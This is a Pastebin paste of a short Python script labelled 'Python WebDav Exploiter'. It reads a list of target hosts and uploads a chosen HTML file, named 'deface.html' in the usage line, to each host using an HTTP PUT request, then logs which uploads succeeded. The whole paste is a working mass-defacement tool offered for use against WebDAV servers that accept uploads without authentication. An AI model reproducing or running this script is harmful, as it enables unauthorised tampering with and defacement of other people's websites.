VanGans

webav

Sep 23rd, 2018
203
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.64 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import requests
  4. import string
  5. import random
  6. import sys
  7. import os
  8.  
  9. os.system("clear")
  10.  
  11. print("""
  12. __      __      ___.   ________      _________   ____
  13. /  \   /  \ ____\_ |__ \______ \   /  _  \  \ /   /
  14. \  \/\/   // __ \| __ \ |    |  \ /  /_\ \  Y   /
  15. \       /\ ___/| \_\ \|    `   \/    |    \    /  
  16.  \__/\ /  \___  >___  /_______  /\____|__  /\___/  
  17.       \/       \/    \/        \/         \/ """
  18. )
  19. if len(sys.argv) != 3:
  20.  print("\n\033[34;1m[*]\033[0m python "+sys.argv[0]+" list.txt deface.html")
  21.  exit(0)
  22.  
  23. print("\n\033[34;1m[*]\033[0m Python WebDav Exploiter\n\033[34;1m[*]\033[0m Coded VanGans\n\033[34;1m[*]\033[0m And Thanks All My Fiends \n")
  24.  
  25. target = open(sys.argv[1], 'r')
  26. while True:
  27.  scheker = open(sys.argv[2]).read()
  28.  sukses = open('webdav_result.txt', 'a')
  29.  host = target.readline().replace('\n','')
  30.  if not host:
  31.   break
  32.  if not host.startswith('http'):
  33.   host = 'http://' + host
  34.  outname = '/'+sys.argv[2]
  35.  print('\033[34;1m[*]\033[0m Sending Files : '+sys.argv[2])
  36.  print('\033[34;1m[*]\033[0m Size File     : '+str(len(scheker)))
  37.  print('\033[34;1m[*]\033[0m Target        : '+host)
  38.  try:
  39.     r = requests.request('put', host + outname, data=scheker, headers={'Content-Type':'application/octet-stream'})
  40.  except:
  41.     print('\033[31;1m[-]\033[0m Failed        : Null Respone\n')
  42.     pass
  43.     continue
  44.  if r.status_code == 200:
  45.   print('\033[32;1m[+]\033[0m Sukses        : '+host+outname+'\n')
  46.   sukses.write(host+outname+'\n')
  47.  else:
  48.   print('\033[31;1m[-]\033[0m Failed        : '+host+outname+'\n')
  49.  
  50. print("\033[34;1m[*]\033[0m Output Saved On : webdav_output.txt")
Advertisement
Add Comment
Please, Sign In to add comment